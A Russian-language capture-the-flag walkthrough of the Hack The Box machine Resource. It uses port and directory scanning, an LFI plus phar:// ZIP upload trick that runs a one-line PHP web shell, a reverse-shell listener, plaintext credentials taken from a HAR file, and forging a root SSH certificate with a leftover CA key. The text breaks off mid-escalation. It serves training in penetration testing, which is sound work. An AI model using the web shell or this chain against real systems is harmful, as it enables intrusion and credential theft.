Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Побег из Docker
- Пользователь msainristil
- Пользователь root
- Пользователь support
- Продвижение
- Локальное повышение привилегий
Сегодня я покажу, как получив корневой сертификат, подписать SSH-ключ и повысить привилегии. При эскалации привилегий проэксплуатируем уязвимость в пользовательском скрипте на Bash. Но первым делом нам понадобится атаковать сайт — мы получим удаленное выполнение кода через связку LFI и PHAR upload.
Наша цель — получение прав суперпользователя на машине Resource с учебной площадки Hack The Box. Уровень ее сложности — «средняя».
Разведка
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.27 resource.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr 'n' ',' | sed s/,$//)nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).
Результат работы скрипта
Сканер нашел три открытых порта:
- 22 — служба OpenSSH 9.2p1;
- 80 — веб‑сервер Nginx 1.18.0;
- 2222 — служба OpenSSH 8.9p1.
На порте 80 выполняется редирект на адрес http://itrc.ssg.htb, поэтому обновим запись в файле /etc/hosts, а затем просмотрим сайт через браузер.
10.10.11.27 resource.htb itrc.ssg.htb
Главная страница сайта
Точка входа
На сайте есть возможность регистрации и авторизации. Сделаем это, так как авторизованному пользователю обычно доступно больше функций, а значит и точек для атаки будет больше.
Главная страница авторизованного пользователя
На странице dashboard есть возможность заводить тикеты и загружать ZIP-архивы. Так как на сайте индекс файл представлен в формате PHP, попробуем найти другие PHP-файлы. Для этого будем использовать утилиту feroxbuster.
Справка: сканирование веба c feroxbuster
Одно из первых действий при тестировании безопасности веб‑приложения — это сканирование методом перебора каталогов с целью поиска скрытой информации и недоступной обычным посетителям функций. Для этого можно использовать программы вроде dirsearch, dirb или ffuf. Я предпочитаю feroxbuster.
При запуске используем следующие параметры:
-
-u— URL; -
-w— словарь (я использую словари из набора Seclists); -
-t— количество потоков; -
-d— глубина сканирования.
Задаем все параметры и запускаем сканирование:
feroxbuster -u http://itrc.ssg.htb/ -w php_files_common_5476.txt -x php -d 1 -t 128
Результат сканирования файлов с помощью feroxbuster
Находим много новых интересных файлов. Что примечательно, среди них присутствует dashboard.php, а мы получали доступ к странице через index.php?page=dashboard. Видимо, к параметру page автоматически добавляется расширение php. Попробуем таким же образом просмотреть страницу admin.php.
Содержимое страницы admin
Получаем содержимое страницы и пробуем тем же способом просмотреть и другие. При обращении к /api/login.php видим ошибку, раскрывающую путь к файлам на сервере.
Ошибка при загрузке /api/login.php
Точка опоры
Перейдем к созданию тикета. Во вложении загрузим рандомный ZIP-архив.
Тикет появится в общем списке. По кнопке Open просмотрим его содержимое.
Информация о тикете
Нам доступен для скачивания загруженный тестовый архив. По ссылке видно, что он хранится в каталоге uploads с измененным именем.
Это значит, что у нас есть возможность эксплуатировать LFI, но работает она только для файлов PHP, а также мы знаем куда сохраняются ZIP-архивы. Можем попробовать реализовать следующий сценарий: на сервер загрузим архив с шеллом на PHP, а затем обратимся через LFI к файлу внутри архива через путь phar://.
Заархивируем файл shell.php, загрузим архив на сервер и получим путь к нему на сервере.
<?php system($_GET['cmd']); ?>
Осталось обратиться к шеллу и в качестве теста выполнить команду id.
http://itrc.ssg.htb/?page=phar://uploads/450373bf3fff7e53023e6b2736add325cd51e3bb.zip/shell&cmd=id
Результат выполнения команды id
Команда выполнена, а значит, у нас есть RCE. Запускаем листенер pwncat-cs -lp 4321 и выполняем реверс‑шелл.
Сессия пользователя www-data
Побег из Docker
Пользователь msainristil
На хосте развернуто веб‑приложение, и оно наверняка использует базу данных. В таких случаях в базе можно найти учетные данные для сайта, которые могут пригодиться для дальнейшего проникновения. Данные для подключения к самой базе обычно находятся в коде или настройках веб‑приложения.
В данном случае учетку для базы находим в файле db.php.
Содержимое файла db.php
Использовать этот пароль нигде не получилось, поэтому осмотримся на сервере. Помимо загруженных нами архивов в каталоге uploads можно найти и вложения к тикетам других пользователей. Скачиваем их на свою машину для анализа.
Загрузка архивов из каталога uploads
Два архива содержат публичные ключи SSH, а в оставшемся находим файл HAR.
Содержимое архивов
В файлах HAR фиксируются разные неполадки браузера, такие как неудачные входы и проблемы с отображением веб‑страниц. Сразу же ищем в файле встроки вроде user, pass, token и тому подобные. И находим учетные данные, сохраненные в открытом виде.
Содержимое файла HAR
С полученными учетными подключаемся по SSH от имени пользователя msainristill.
Пользователь msainristill
Пользователь root
В домашнем каталоге пользователя root есть каталог decommission_old_ca с ключами центра сертификации.
Содержимое каталога decommission_old_ca
Закрытый ключ центра сертификации ca-itrc используются для подписи сертификатов. Публичный ключ ca-itrc.pub используется для проверки подписи сертификатов. Мы можем использовать закрытый ключ центра сертификации для создания и подписи SSH-сертификата для любого логина. С помощью созданного сертификата можно будет получить доступ по SSH от имени пользователя с указанным в сертификате логином.
Первым делом сгенерируем пару SSH ключей.
ssh-keygen -t rsa -b 2048 -f ralf
Генерация пары SSH ключей
Теперь с помощью ключей центра сертификации на основе публичного SSH ключа ralf.pub сделаем сертификат SSH для логина root. Сразу можно проверить новый сертификат ralf-cert.pub.
ssh-keygen -s ca-itrc -I ca-itrc.pub -n root ralf.pub
Создание SSH сертификатаssh-keygen -Lf ralf-cert.pub
Информация из сертификата
Со сгенерированным сертификатом SSH сертификат и закрытым ключом пользователя получаем доступ от имени root.
ssh -o CertificateFile=ralf-cert.pub -i ralf root@localhost
Пользователь support
В домашнем каталоге пользователя zzinter есть скрипт sign_key_api.sh.
Содержимое домашнего каталога пользователя
Проанализируем его. Скрипт принимает в качестве параметров публичный ключ, имя пользователя и принципал, возможные значения которого можно увидеть в справке (help).